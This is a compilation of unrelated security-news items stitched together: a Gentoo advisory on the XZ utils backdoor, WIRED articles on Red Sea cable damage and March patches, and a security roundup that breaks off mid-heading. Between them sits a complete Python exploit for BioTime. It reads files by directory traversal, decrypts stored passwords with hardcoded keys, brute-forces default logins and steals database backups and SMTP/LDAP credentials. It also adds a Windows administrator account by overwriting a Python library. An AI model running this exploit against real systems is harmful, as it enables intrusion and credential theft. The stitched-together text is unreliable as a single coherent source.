Gentoo Linux Security Advisory 202403-4 - A backdoor has been discovered in XZ utils that could lead to remote compromise of systems. Versions less than 5.6.0 are affected.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
Gentoo Linux Security Advisory                           GLSA 202403-04  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -  
                                           https://security.gentoo.org/  
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

 Severity: High  
    Title: XZ utils: Backdoor in release tarballs  
     Date: March 29, 2024  
     Bugs: #928134  
       ID: 202403-04

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

Synopsis  
========

A backdoor has been discovered in XZ utils that could lead to remote  
compromise of systems.

Background  
==========

XZ Utils is free general-purpose data compression software with a high  
compression ratio.

Affected packages  
=================

Package            Vulnerable    Unaffected  
-----------------  ------------  ------------  
app-arch/xz-utils  >= 5.6.0      < 5.6.0

Description  
===========

A backdoor has been discovered in XZ utils. Please review the CVE  
identifier referenced below for details.

Impact  
======

Our current understanding of the backdoor is that is does not affect  
Gentoo systems, because

1. the backdoor only appears to be included on specific systems and  
Gentoo does not qualify;  
2. the backdoor as it is currently understood targets OpenSSH patched to  
work with systemd-notify support. Gentoo does not support or include  
these patches;

Analysis is still ongoing, however, and additional vectors may still be  
identified. For this reason we are still issuing this advisory as if  
that will be the case.

Workaround  
==========

There is no known workaround at this time.

Resolution  
==========

All XZ utils users should downgrade to the latest version before the  
backdoor was introduced:

  # emerge --sync  
  # emerge --ask --oneshot --verbose "<app-arch/xz-utils-5.6.0"

References  
==========

[ 1 ] CVE-2024-3094  
      https://nvd.nist.gov/vuln/detail/CVE-2024-3094

Availability  
============

This GLSA and any updates to it are available for viewing at  
the Gentoo Security Website:

 https://security.gentoo.org/glsa/202403-04

Concerns?  
=========

Security is a primary focus of Gentoo Linux and ensuring the  
confidentiality and security of our users' machines is of utmost  
importance to us. Any security concerns should be addressed to  
security@gentoo.org or alternatively, you may file a bug at  
https://bugs.gentoo.org.

License  
=======

Copyright 2024 Gentoo Foundation, Inc; referenced text  
belongs to its owner(s).

The contents of this document are licensed under the  
Creative Commons - Attribution / Share Alike license.

https://creativecommons.org/licenses/by-sa/2.5

Gentoo Linux Security Advisory 202403-04

BioTime versions 8.5.5 and 9.0.1 suffer from directory traversal and file write vulnerabilities. This exploit also achieves remote code execution on version 8.5.5.

    #  __________.__     ___________.__                #  \______   \__| ___\__    ___/|__| _____   ____  #   |    |  _/  |/  _ \|    |   |  |/     \_/ __ \ #   |    |   \  (  <_> )    |   |  |  Y Y  \  ___/ #   |______  /__|\____/|____|   |__|__|_|  /\___  >#          \/                            \/     \/ # Tested on 8.5.5 (Build:20231103.R1905)# Tested on 9.0.1 (Build:20240108.18753)# BioTime, "time" for shellz!# https://claroty.com/team82/disclosure-dashboard/cve-2023-38952# https://claroty.com/team82/disclosure-dashboard/cve-2023-38951# https://claroty.com/team82/disclosure-dashboard/cve-2023-38950# RCE by adding a user to the system, not the app.# Relay machine creds over smb, while creating a backup# Decrypt SMTP, LDAP or SFTP creds, if any.# Get sql backup. Good luck cracking those hashes!# Can use Banner to determine which version is running# Server: Apache/2.4.29 (Win64) mod_wsgi/4.5.24 Python/2.7# Server: Apache/2.4.52 (Win64) mod_wsgi/4.7.1 Python/3.7# Server: Apache/2.4.48 (Win64) mod_wsgi/4.7.1 Python/3.7# Server: Apache => BioTime Version 9# @w3bd3vil - Krash Consulting (https://krashconsulting.com/fury-of-fingers-biotime-rce/)import requestsfrom bs4 import BeautifulSoupimport osimport jsonimport sysfrom Crypto.Cipher import AESfrom Crypto.Cipher import ARC4import base64from binascii import b2a_hex, a2b_hexrequests.packages.urllib3.disable_warnings()proxies = {    'http': 'http://127.0.0.1:8080',  # Proxy for HTTP traffic    'https': 'http://127.0.0.1:8080'  # Proxy for HTTPS traffic}proxies = {}target =  sys.argv[1]def decrypt_rc4(base64_encoded_rc4, password="biotime"):    encrypted_data = base64.b64decode(base64_encoded_rc4)    cipher = ARC4.new(password.encode())    decrypted_data = cipher.decrypt(encrypted_data)    return decrypted_data.decode()# base64_encoded_rc4 = "fj8xD5fAY6r6s3I="# password = "biotime"# decrypted_data = decrypt_rc4(base64_encoded_rc4, password)# print("Decrypted data:", decrypted_data)AES_PASSWORD = b'china@2018encryption#aes'AES_IV = b'zkteco@china2019'def filling_data(data, restore=False):    '''    :param data: str    :return: str    '''    if restore:        return data[0:-ord(data[-1])]    block_size = AES.block_size  # Use AES.block_size instead of None.block_size    return data + (block_size - len(data) % block_size) * chr(block_size - len(data) % block_size)def aes_encrypt(content):    '''    Encryption    :param content: str, The length of content must be times of AES.block_size, using filling_data to fill out    :return: str    '''    if isinstance(content, bytes):        content = str(content, 'utf-8')    cipher = AES.new(AES_PASSWORD, AES.MODE_CBC, AES_IV)    encrypted = cipher.encrypt(filling_data(content).encode('utf-8'))    result = b2a_hex(encrypted).decode('utf-8')    return resultdef aes_decrypt(content):    '''    Decryption    :param content: str or bytes, Encryption string    :return: str    '''    if isinstance(content, str):        content = content.encode('utf-8')    cipher = AES.new(AES_PASSWORD, AES.MODE_CBC, AES_IV)    result = cipher.decrypt(a2b_hex(content)).decode('utf-8')    return filling_data(result, restore=True)#Check BioTimeurl = f'{target}/license/'response = requests.get(url, proxies=proxies, verify=False)html_content = response.contentsoup = BeautifulSoup(html_content, 'html.parser')build_lines = [line.strip() for line in soup.get_text().split('\n') if 'build' in line.lower()]build = Nonefor line in build_lines:    build = line    print(f"Found BioTime: {line}")    breakif build != None:    buildNumber = build[0]else:    print("Unsupported Target!")    sys.exit(1)# Dir Traversalurl = f'{target}/iclock/file?SN=win&url=/../../../../../../../../windows/win.ini'response = requests.get(url, proxies=proxies, verify=False)try:    print("Dir Traversal Attempt\nOutput of windows/win.ini file:")    print(base64.b64decode(response.text).decode('utf-8'))    try:        url = f'{target}/iclock/file?SN=att&url=/../../../../../../../../biotime/attsite.ini'        response = requests.get(url, proxies=proxies, verify=False)        attConfig = base64.b64decode(response.text).decode('utf-8')        #print(f"Output of BioTime config file: {attConfig}")    except:        try:            url = f'{target}/iclock/file?SN=att&url=/../../../../../../../../zkbiotime/attsite.ini'            response = requests.get(url, proxies=proxies, verify=False)            attConfig = base64.b64decode(response.text).decode('utf-8')            #print(f"Output of BioTime config file: {attConfig}")        except:            print("Couldn't get BioTime config file (possibly non default configuration)")    lines = attConfig.split('\n')    for i, line in enumerate(lines):        if "PASSWORD=@!@=" in line:            dec_att = decrypt_rc4(lines[i].split("@!@=")[1])            lines[i] = lines[i].split("@!@=")[0]+dec_att    attConfig_modified = '\n'.join(lines)    print(f"Output of BioTime Decrypted config file:\n{attConfig_modified}")except:    print("Couldn't exploit Dir Traversal")# Extract Cookiesurl = f'{target}/login/'response = requests.get(url, proxies=proxies, verify=False)if response.status_code == 200:    soup = BeautifulSoup(response.text, 'html.parser')    csrf_token_header = soup.find('input', {'name': 'csrfmiddlewaretoken'})    if csrf_token_header:        csrf_token_header_value = csrf_token_header['value']        print(f"CSRF Token Header: {csrf_token_header_value}")        session_id_cookie = response.cookies.get('sessionid')    if session_id_cookie:        print(f"Session ID: {session_id_cookie}")        csrf_token_value = response.cookies.get('csrftoken')    if csrf_token_value:        print(f"CSRF Token Cookie: {csrf_token_value}")else:    print(f"Failed to retrieve data from {url}. Status code: {response.status_code}")# Login Now!cookies = {    'sessionid': session_id_cookie,    'csrftoken': csrf_token_value}for i in range(1,10):    username = i    password = '123456' # Deafult password!    data = {        'username': username,        'password': password,        'captcha':'',        'login_user':'employee'    }    headers = {        'User-Agent': 'Krash Consulting',        'X-CSRFToken': csrf_token_header_value    }    response = requests.post(url, data=data, cookies=cookies, headers=headers, proxies=proxies, verify=False)    if response.status_code == 200:        json_response = response.json()        ret_value = json_response.get('ret')        if ret_value == 0:            print(f"Valid Credentials found: Username is {username} and password is {password}")            session_id_cookie = response.cookies.get('sessionid')            if session_id_cookie:                print(f"Auth Session ID: {session_id_cookie}")                        csrf_token_value = response.cookies.get('csrftoken')            if csrf_token_value:                print(f"Auth CSRF Token Cookie: {csrf_token_value}")            breakif i == 9:    print("No valid users found!")    sys.exit(1)# Check for Backupsdef downloadBackup():    url = f'{target}/base/dbbackuplog/table/?page=1&limit=33'    cookies = {        'sessionid': session_id_cookie,        'csrftoken': csrf_token_value    }    response = requests.get(url, cookies=cookies, proxies=proxies, verify=False)    response_data = response.json()    print("Backup files list")    print(json.dumps(response_data, indent=4))    if response_data['count'] > 0:        backup_info = response_data['data'][0]  # Latest Backup        operator_name = backup_info['operator']        backup_file = backup_info['backup_file']        db_type = backup_info['db_type']        print("Operator:", operator_name)        print("Backup File:", backup_file)        print("Database Type:", db_type)        if buildNumber == "9":            createBackup()            print("Backup File password: Krash")        #download = os.path.basename(backup_file)        path = os.path.normpath(backup_file)        try:            split_path = path.split(os.sep)            files_index = split_path.index('files')            relative_path = '/'.join(split_path[files_index + 1:])        except:            return False        url = f'{target}/files/{relative_path}'        print(url)        response = requests.get(url, proxies=proxies, verify=False)        if response.status_code == 200:            filename = os.path.basename(url)            with open(filename, 'wb') as file:                file.write(response.content)            print(f"File '{filename}' downloaded successfully.")        else:            print("Failed to download the file. Status code:", response.status_code)        return False    else:        print("No backup Found!")        return Truedef createBackup(targetPath=None):    print("Attempting to create backup.")    url = f'{target}/base/dbbackuplog/action/?action_name=44424261636b75704d616e75616c6c79&_popup=true&id='    cookies = {        'sessionid': session_id_cookie,        'csrftoken': csrf_token_value    }    response = requests.get(url, cookies=cookies, proxies=proxies, verify=False)    html_content = response.content    soup = BeautifulSoup(html_content, 'html.parser')    pathBackup = [line.strip() for line in soup.get_text().split('\n') if 'name="file_path"' in line.lower()]    print(f"Possible backup location: {pathBackup}")    url = f'{target}/base/dbbackuplog/action/'    if targetPath == None:        if buildNumber == "9" or build[:5] == "8.5.5":            targetPath = "C:\\ZKBioTime\\files\\backup\\"        else:            targetPath = "C:\\BioTime\\files\\fw\\"    if buildNumber == "9":        data = {            'csrfmiddlewaretoken': csrf_token_value,            'file_path':targetPath,            'action_name': '44424261636b75704d616e75616c6c79',            'backup_encryption_choices': '2',            'auto_backup_password': 'Krash'        }    else:        data = {            'csrfmiddlewaretoken': csrf_token_value,            'file_path':targetPath,            'action_name': '44424261636b75704d616e75616c6c79'        }    response = requests.post(url,  cookies=cookies, data=data, proxies=proxies, verify=False)    if response.status_code == 200:        print("Backup Initiated.")    else:        print("Backup failed!")if downloadBackup():    createBackup()    downloadBackup()url = f'{target}/base/api/systemSettings/email_setting/'cookies = {    'sessionid': session_id_cookie,    'csrftoken': csrf_token_value}response = requests.get(url, cookies=cookies, proxies=proxies, verify=False)if response.status_code == 200:    response_data = response.json()    print("SMTP Settings")    for key in response_data:        if 'password' in key.lower():            value = response_data[key]            #print(f'{key} decrypted value {aes_decrypt(value)}')            response_data[key] = aes_decrypt(value)    print(json.dumps(response_data, indent=4))url = f'{target}/base/api/systemSettings/ldap_setup/'cookies = {    'sessionid': session_id_cookie,    'csrftoken': csrf_token_value}response = requests.get(url, cookies=cookies, proxies=proxies, verify=False)if response.status_code == 200:    response_data = response.json()    print("LDAP Settings")    for key in response_data:        if 'password' in key.lower():            value = response_data[key]            #print(f'{key} decrypted value {aes_decrypt(value)}')            response_data[key] = aes_decrypt(value)    print(json.dumps(response_data, indent=4))def sftpRCE():    print("Attempting RCE!")    #Add SFTP, Need valid IP/credentials here!    print("Adding FTP List")    url = f'{target}/base/sftpsetting/add/'    myIpaddr = '192.168.0.11'    myUser = 'test'    myPassword = 'test@123'    cookies = {        'sessionid': session_id_cookie,        'csrftoken': csrf_token_value    }    data = {        'csrfmiddlewaretoken': csrf_token_value,        'host':myIpaddr,        'port':22,        'is_sftp': 1,        'user_name':myUser,        'user_password':myPassword,        'user_key':'',        'action_name': '47656e6572616c416374696f6e4e6577'    }    response = requests.post(url,  cookies=cookies, data=data, proxies=proxies, verify=False)    print(response)    url = f'{target}/base/sftpsetting/table/?page=1&limit=33'    cookies = {        'sessionid': session_id_cookie,        'csrftoken': csrf_token_value    }    response = requests.get(url, cookies=cookies, proxies=proxies, verify=False)    response_data = response.json()    print("FTP List")    print(json.dumps(response_data, indent=4))    backup_info = response_data['data'][0]  # Latest SFTP    getID = backup_info['id']    if getID:        print("ID to edit ", getID)    #Edit SFTP (Response can have errors, it doesn't matter)    print("Editing SFTP Settings")    if buildNumber == "9":        dirTraverse = '\..\..\..\python311\lib\io.py'    else:        dirTraverse = '\..\..\..\python37\lib\io.py'    if len(dirTraverse) > 30:        print("Directory Traversal length is greater than 30, will not work!")        sys.exit(1)    url = f'{target}/base/sftpsetting/edit/'    cookies = {        'sessionid': session_id_cookie,        'csrftoken': csrf_token_value    }    data = {        'csrfmiddlewaretoken': csrf_token_value,        'host':myIpaddr,        'port':22,        'is_sftp': 1,        'user_name': dirTraverse,        'user_password':myPassword,        'user_key':'import os\nos.system("net user /add omair190 KCP@ssw0rd && net localgroup administrators ...',        'obj_id': getID    }    response = requests.post(url,  cookies=cookies, data=data, proxies=proxies, verify=False)    print("A new user should be added now on the server \nusername: omair190\npassword: KCP@ssw0rd")    #Delete SFTP    print("Deleting SFTP Settings")    url = f'{target}/base/sftpsetting/action/'    cookies = {        'sessionid': session_id_cookie,        'csrftoken': csrf_token_value    }    data = {        'csrfmiddlewaretoken': csrf_token_value,        'id': getID,        'action_name': '47656e6572616c416374696f6e44656c657465'    }    response = requests.post(url,  cookies=cookies, data=data, proxies=proxies, verify=False)#RCEif buildNumber == "9" or build[:5] == "8.5.5":    sftpRCE()# #Relay Creds# createBackup("\\\\192.168.0.11\\KC\\test")

BioTime Directory Traversal / Remote Code Execution

Millions lost internet service after three cables in the Red Sea were damaged. Houthi rebels deny targeting the cables, but their missile attack on a cargo ship, left adrift for months, is likely to blame.

The ballistic missile hit the _Rubymar_ on the evening of February 18. For months, the cargo ship had been shuttling around the Arabian Sea, uneventfully calling at local ports. But now, taking on water in the bottleneck of the Bab-el-Mandeb Strait, its two dozen crew issued an urgent call for help and prepared to abandon ship.

Over the next two weeks—while the crew were ashore—the “ghost ship” took on a life of its own. Carried by currents and pushed along by the wind, the 171-meter-long, 27-meter-wide _Rubymar_ drifted approximately 30 nautical miles north, where it finally sank—becoming the most high-profile wreckage during a months-long barrage of missiles and drones launched by Iranian-backed Houthi rebels in Yemen. The attacks have upended global shipping.

But the _Rubymar_ wasn’t the only casualty. During its final journey, three internet cables laid on the seafloor in the Bab-el-Mandeb Strait were damaged. The drop in connectivity impacted millions of people, from nearby East Africa to thousands of miles away in Vietnam. It’s believed the ship’s trailing anchor may have broken the cables while it drifted. The _Rubymar_ also took 21,000 metric tons of fertilizer to its watery grave—a potential environmental disaster in waiting.

An analysis from WIRED—based on satellite imagery, interviews with maritime experts, and new internet connectivity data showing the cables went offline within minutes of each other—tracks the last movements of the doomed ship. While our analysis cannot definitively show that the anchor caused the damage to the crucial internet cables—that can only be determined by an upcoming repair mission—multiple experts conclude it is the most likely scenario.

The damage to the internet cables comes when the security of subsea infrastructure—including internet cables and energy pipelines—has catapulted up countries’ priorities. Politicians have become increasingly concerned about the critical infrastructure since the start of the Russia-Ukraine war in February 2022 and a subsequent string of potential sabotage, including the Nord Stream pipeline explosions. As Houthi weapons keep hitting ships in the Red Sea region, there are worries the _Rubymar_ may not be the last shipwreck.

The _Rubymar_’s official trail goes cold on February 18. At 8 pm local time, reports emerged that a ship in the Bab-el-Mandeb Strait, which is also known as the Gate of Tears or the Gate of Grief, had been attacked. Two anti-ship ballistic missiles were fired from “Iranian-backed Houthi terrorist-controlled areas of Yemen,” US Central Command said. Ninety minutes after the warnings arrived, at around 9:30 pm, the _Rubymar_ broadcast its final location using the automatic identification system (AIS), a GPS-like positioning system used to track ships.

As water started pouring into the hull, engine room, and machinery room, the crew’s distress call was answered by the _Lobivia_—a nearby container ship—and a US-led coalition warship. By 1:57 am on February 19, the crew was reported safe. That afternoon, the 11 Syrians, six Egyptians, three Indians, and four Filipinos who were on board arrived at the Port of Djibouti. “We do not know the coordinates of _Rubymar_,” Djibouti’s port authority posted on X.

Satellite images picked up the _Rubymar_, its path illuminated by an oil slick, two days later, on February 20. Although the crew dropped the ship’s anchor during the rescue, the ship drifted north, further up the strait in the direction of the Red Sea.

For three days, satellite photos show, the vessel largely stayed in place thanks to low winds and weak currents. Then, on February 22, satellite images show peculiar circular wave patterns hitting the ship, as seen in the image below. One former naval intelligence analyst familiar with the images, who asked not to be named for safety reasons, says this could be a sign the anchor may have come loose. One image, they say, appears to show an unidentified object, which could be a small boat, nearby.

Both the wind and currents picked up on February 23, when the ship began drifting for a second time, says Robert Parkington, an intelligence analyst with geospatial analysis firm Geollect. “As wind increases, as current increases, that chance for movement gets so much higher,” says Parkington, who monitored the _Rubymar_’s movements with data from satellite technology firm Spire Global. “Even a small breeze can have an impact on where the vessel’s moving.”

Circular ripples are visible around the Rubymar.Courtesy of BlackSky

More than 550 internet cables run along the ocean floors and connect the world. They link continents and economies, beaming everything from Zoom calls to financial transactions every millisecond. Twelve of the cables run through the Bab-el-Mandeb Strait, says Alan Mauldin, research director at telecom research firm TeleGeography. “These cables vary massively in their age, also in their capacities,” Mauldin explains. The region is a crucial, but vulnerable, choke point.

While the _Rubymar_ was drifting, three cables were damaged: the Seacom/Tata cable, a 15,000-kilometer-long wire running the length of East Africa and also connecting it to India; the Asia Africa Europe-1 (AAE-1), which snakes 25,000 kilometers and links Europe to East Asia; and the Europe India Gateway (EIG), made of 15,000 kilometers of cable and joining India with the United Kingdom.

The Seacom cable went down at 9:46 am on February 24, according to new analysis shared exclusively with WIRED by Doug Madory, director of internet analysis at the web monitoring firm Kentik. Five minutes later, at around 9:51 am, the AAE-1 cable dropped offline. Madory says the third damaged cable, EIG, was already mostly offline following a separate fault elsewhere. A telecom industry notice seen by WIRED confirms the three faults and says this was the EIG’s second. The notice says the damage is located around 30 kilometers away from where the cables land in Djibouti and are at depths of around 150 meters.

To determine when the cables lost connectivity, Madory examined internet traffic and routing data from multiple networks. For instance, a network linked to Equity Bank Tanzania, the analysis shows, lost connectivity from the Seacom cable; moments later, it was impacted by the AAE-1 damage. The two clusters of outages impacted countries in East Africa, including Tanzania, Kenya, Uganda, and Mozambique, Madory says. But they also had an impact thousands of miles away in Vietnam, Thailand, and Singapore. “The loss of these submarine cables disrupted internet service for millions of people,” he says. “While service providers in the affected countries have shifted to using the remaining cables, there exists a loss of overall capacity.” The analysis matches when the Seacom cable went offline, says Prenesh Padayachee, the company’s chief digital officer. Both AAE and EIG cables are owned by consortiums of companies, which did not respond to requests for comment.

The telecom industry builds backups into its systems to account for disruptions—and the approach mostly works. When one cable goes offline, traffic is sent via other routes. “Connectivity just went away,” says Thomas King, the chief technology officer of German-based internet exchange DE-CIX, which used the AAE-1 cables. “The issue was detected automatically. Rerouting happens also automatically,” King says. Other firms sent data on different paths around the world.

In the days after damage to the cables first emerged, one unconfirmed press report claimed Houthi rebels could have sabotaged the cables. There has been no public evidence to support this. Farzin Nadimi, a senior fellow at the Washington Institute think tank who has been monitoring the region, says it is most likely that the _Rubymar_ damaged the cables, but Houthi sabotage should not be entirely ruled out, as “highly trained” divers could reach the cables’ depths. Telecom firms have reported fears about Houthi damage to cables, while Houthi spokespeople have repeatedly denied responsibility for the disruptions.

“We don’t even know if the cable is fully broken yet,” Padayachee says. “All we know is that the cable is damaged to a level where we’ve lost comms.” It could have been cut, or even dragged along the seabed and bent so light signals cannot pass through the cable, he says.

Many in the marine and cable industry have turned toward the _Rubymar_’s drift as the likely cause for the outage. Padayachee says it is the most “plausible” scenario given the ship’s predicted drifting speed. “If you work out the distance between the two cables that roughly relates to the same sort of timeframe as to when one cable will be affected to when the other cable will be affected,” the timing makes sense, he says, adding that the cables are 700 to 1,000 meters apart.

Anchor damage, alongside earthquakes and landslides, is one of the most common ways subsea internet cables are disrupted. For instance, multiple cables in the Red Sea region were damaged by a ship dragging its anchor in 2012. There are also several types of anchor, explain William Coombs and Michael Brown, professors at Durham University and the University of Dundee, respectively, who are researching the dynamics of anchors and how they can damage underwater cables. Some anchors sit on the seabed while others dig into the ground, they say. “If the soil type is not right, and the cable has quite shallow burial or it is on the seabed, you are going to catch it if your anchor starts to drag,” Brown says.

“Considering the timings of when outages were reported, considering the rough location of where those cables are known to be, and considering where we believe to be the location of the _Rubymar_, I would say that there is a likely possibility that the anchor did cause the damage,” says Parkington of Geollect.

The _Rubymar_ finally sank on March 2. Videos reportedly taken inside the ship, gathered by Saudi state-owned news organization Al Arabiya English, show water gushing into the ship after the missile strike. As the _Rubymar_ took on more water and partially submerged, experts say, its drifting likely slowed and eventually brought it to a complete stop.

While the ship has finished its journey, the three internet cables will remain offline for some time. Padayachee, from Seacom, says that the Yemeni government is likely to approve permits for the company’s repair plans in the next couple of weeks, with repairs to all three damaged cables possibly starting later in April.

Padayachee says that additional security measures are being put in place for the operation, but the repair work itself should be relatively straightforward. The repairs are taking place in water only a couple of hundred meters deep—shallow compared to other cases where cables are more than a mile deep. When the cables are pulled out of the water by the repair crew, it should be possible to say whether the cuts were caused by the anchor or deliberately.

The _Rubymar_ presents one potential final challenge: Padayachee says the location of the cable damage is believed to be around one or two miles away from where the ship sank. “It doesn’t look like it will affect anything in the repair operation,” he says. “It could change by the time they get there: The vessel may have moved or, in fact, the vessel may have broken up and parts of it moved around.” The US Central Command has said the _Rubymar_ also presents a “subsurface impact risk to other ships.”

The Houthi’s missile launches, meanwhile, don’t look like they will stop any time soon. Other ships have been damaged; lives have been lost, and those factors will impact repairs. “It's not something you usually see: trying to have a cable ship into those waters, recover the cable, make a repair, and then be able to return to port. It's a long process. It’s risky,” says Mauldin, from TeleGeography. The risk, for other internet cables, is a repeat of the _Rubymar_. “It is not out of the question,” Madory concludes in his analysis, “that we could have another vessel, struck by a missile, inadvertently cut another submarine cable.”

_Correction 4/1/2024, 9:49 am: A previous version of this article incorrectly stated the length of the_ Rubymar, _which is 171 meters, not 17 meters._

How a Houthi-Bombed Ghost Ship Likely Cut Off Internet for Millions

Plus: Microsoft patches over 60 vulnerabilities, Mozilla fixes two Firefox zero-day bugs, Google patches 40 issues in Android, and more.

It’s time to check your software updates. March has seen the release of important patches for Apple’s iOS, Google’s Chrome, and its privacy-conscious competitor Firefox. Bugs have also been squashed by enterprise software giants including Cisco, VMware, and SAP.

Here’s what you need to know about the security updates issued in March.

**Apple iOS**

Apple made up for a quiet February by issuing two separate patches in March. At the start of the month, the iPhone maker released iOS 17.4, fixing over 40 flaws including two issues already being used in real-life attacks.

Tracked as CVE-2024-23225, the first bug in the iPhone Kernel could allow an attacker to bypass memory protections. “Apple is aware of a report that this issue may have been exploited,” the iPhone maker said on its support page.

Tracked as CVE-2024-23296, the second flaw, in RTKit, the real-time operating system used in devices including AirPods, could also allow an adversary to bypass Kernel memory protections.

Later in March, Apple released a second software update, iOS 17.4.1, this time fixing two flaws in its iPhone software, both tracked as CVE-2024-1580. Using the issues patched in iOS 17.4.1, an attacker could execute code if they convinced someone to interact with an image.

Soon after issuing iOS 17.4.1, Apple released patches for its other devices to fix the same bugs: Safari 17.4.1, macOS Sonoma 14.4.1 and macOS Ventura 13.6.6.

**Google Chrome**

March was another hectic month for Google, which patched multiple flaws in its Chrome browser. Mid-way through the month, Google released 12 patches, including a fix for CVE-2024-2625, an object-lifecycle issue in V8 with a high severity rating.

Medium-severity issues include CVE-2024-2626, an out-of-bounds read bug in Swiftshader; CVE-2024-2627, a use-after-free flaw in Canvas; and CVE-2024-2628, an inappropriate implementation issue in Downloads.

At the end of the month, Google issued seven security fixes, including a patch for a critical use-after-free flaw in ANGLE tracked as CVE-2024-2883. Two further use-after-free bugs, tracked as CVE-2024-2885 and CVE-2024-2886, were given a high-severity rating. Meanwhile, CVE-2024-2887 is a type-confusion flaw in WebAssembly.

The last two issues were exploited at the Pwn2Own 2024 hacking contest, so you should update your Chrome browser ASAP.

**Mozilla Firefox**

Mozilla’s Firefox had a busy March, after patching two zero-day vulnerabilities exploited at Pwn2Own. CVE-2024-29943 is an out-of-bounds access bypass issue, while CVE-2024-29944 is a privileged JavaScript Execution flaw in Event Handlers that could lead to sandbox escape. Both issues are rated as having a critical impact.

Earlier in the month, Mozilla released Firefox 124 to address 12 security issues, including CVE-2024-2605, a sandbox-escape flaw affecting Windows operating systems. An attacker could have leveraged the Windows Error Reporter to run arbitrary code on the system, escaping the sandbox, Mozilla said.

CVE-2024-2615 sees critical-rated memory safety bugs fixed in Firefox 124. “Some of these bugs showed evidence of memory corruption, and we presume that with enough effort \[they\] could have been exploited to run arbitrary code,” Mozilla said.

**Google Android**

Google has released its March Android Security Bulletin, fixing nearly 40 issues in its mobile operating system, including two critical bugs in its system component. CVE-2024-0039 is a remote code-execution flaw, while CVE-2024-23717 is an elevation-of-privilege vulnerability.

“The most severe of these issues is a critical security vulnerability in the System component that could lead to remote code execution with no additional execution privileges needed,” Google said in its advisory.

You Should Update Apple iOS and Google Chrome ASAP

Plus: “MFA bombing” attacks target Apple users, Israel deploys face recognition tech on Gazans, AI gets trained to spot tent encampments, and OSINT investigators find fugitive Amond Bundy.

The saga of WikiLeaks founder Julian Assange continued this week after the UK’s high court ordered a delay in his extradition to the United States. Assange faces 18 charges in the US, including 17 alleged violations of the Espionage Act—charges that have alarmed journalism watchdogs. The two judges who issued the ruling said in a summary of their decision that the US must offer further assurances that Assange’s First Amendment rights will be respected and that he will not face the death penalty if convicted.

The University of Cambridge’s medical school is still recovering from “malicious activity” which the school first detected last month. The incident impacted IT services provided by Cambridge’s Clinical School Computing Service, and several websites were knocked offline. While the university also recently suffered a distributed denial-of-service attack, allegedly carried out by the hacker group Anonymous Sudan, it’s unclear if the two incidents are related, and the university has not yet clarified the nature of the “malicious activity.”

US and UK authorities this week announced sanctions and charges against members of APT31, a Chinese state-sponsored hacker group. Also known as Violet Typhoon or Judgement Panda, APT31 hackers have for the past 14 years targeted critics and political enemies around the world to conduct espionage campaigns, according to the US Department of Justice.

Finally, WIRED discovered a trove of information left online by a location data broker that reveals sensitive details about the visitors to Jeffrey Epstein’s notorious “pedophile island.” The data includes more than 11,000 precise coordinates, as many as 166 of which pinpoint the likely homes and workplaces of visitors who live in the continental United States.

But that’s not all. Each week, we round up the security and privacy news we didn’t cover in depth ourselves. Click the headlines to read the full stories. And stay safe out there.

A few rules of thumb can vastly increase your online safety: Don’t click on links or open attachments from strangers. Double-check the sender of emails and other messages to ensure they’re not surreptitious phishing attempts. And be sure a shipping company really is who it claims to be rather than a cybercriminal gang plotting to hijack a truckload of your yogurt and hold it for ransom.

The last of those lessons was highlighted by _The Wall Street Journal_ this week in a story about a troubling form of online fraud: Fraudsters are insinuating themselves into so-called load boards, the online platforms that manufacturers, shipping companies, and the brokers who work with them use to make deals for transporting goods via truck to retailers or other destinations. By spoofing the identity of a carrier—the companies that employ truck drivers to pick up goods—fraudsters can trick brokers who arrange those deals into handing over large amounts of cargo. The criminals can then either complete the deal with a legit carrier at a lower price and pocket the difference, or simply steal the cargo.

In the case of one $50,000 load of Danone yogurt and plant-based milk, the thieves opted for the latter. The broker who had arranged the deal discovered that the fraudsters had spoofed the motor carrier number, a unique identifier, for the broker’s intended trucking company. Then they rerouted their yogurt booty from its intended destination in Florida to a warehouse in Pennsylvania. The brokerage describes receiving emails and even a phone call from an Armenian number demanding a $40,000 ransom. (The brokers refused to pay and collected an insurance payout instead. What happened with the yogurt—and exactly how much yogurt a single gang of Armenian cybercriminals can feasibly consume before it spoils—remains unclear.)

The Journal’s story reveals that cargo hijacking fraud remains a serious problem—one that cost $500 million in 2023, quadruple the year before. Victims say load board operators need to do more to verify users’ identities, and that law enforcement and regulators also need to do more to address the thefts.

**Apple Users Targeted With “MFA Bombing” Hacking Tactic**

Multifactor authentication (MFA) has served as a crucial safeguard against hackers for years. In Apple’s case, it can require a user to tap or click “allow” on an iPhone or Apple Watch before their password can be changed, an important protection against fraudulent password resets. But KrebsOnSecurity reports this week that some hackers are weaponizing those MFA push alerts, bombarding users with hundreds of requests to force them to allow a password reset—or at the very least, deal with a very annoying disruption of their device. Even when a user does reject all those password reset alerts, the hackers have, in some cases, called up the user and pretended to be a support person—using identifying information from online databases to fake their legitimacy—to social engineer them into resetting their password. The solution to the problem appears to be “rate-limiting,” a standard security feature that limits the number of times someone can try a password or attempt a sensitive settings change in a certain time period. In fact, the hackers may be exploiting a bug in Apple’s rate limiting to allow their rapid-fire attempts, though the company didn’t respond to Krebs’ request for comment.

**Israel Deploys Controversial Facial Recognition Tech in Its Surveillance of Gazans**

Israel has long been accused of using Palestinians as subjects of experimental surveillance and security technologies that it then exports to the world. In the case of the country’s months-long response to Hamas’ October 7 massacre—a response that has killed 31,000 Palestinian civilians and displaced millions more from their homes—that surveillance now includes using controversial and arguably unreliable facial recognition tools among the Palestinian population. _The New York Times_ reports that Israel’s military intelligence has adopted a facial recognition tool built by a private tech firm called Corsight, and has used it in its attempts to identify members of Hamas—particularly those involved in the October 7 attack—despite concerns that the tech was sometimes faulty and produced false positives. In one case, for instance, the Palestinian poet Mosab Abu Toha was pulled out of a crowd by soldiers who had somehow identified him by name, before he was beat, accused of being a member of Hamas, and interrogated, before soldiers then told him the interrogation had been a “mistake.”

**AI Cameras Trained to Spot Encampments of Unhoused People**

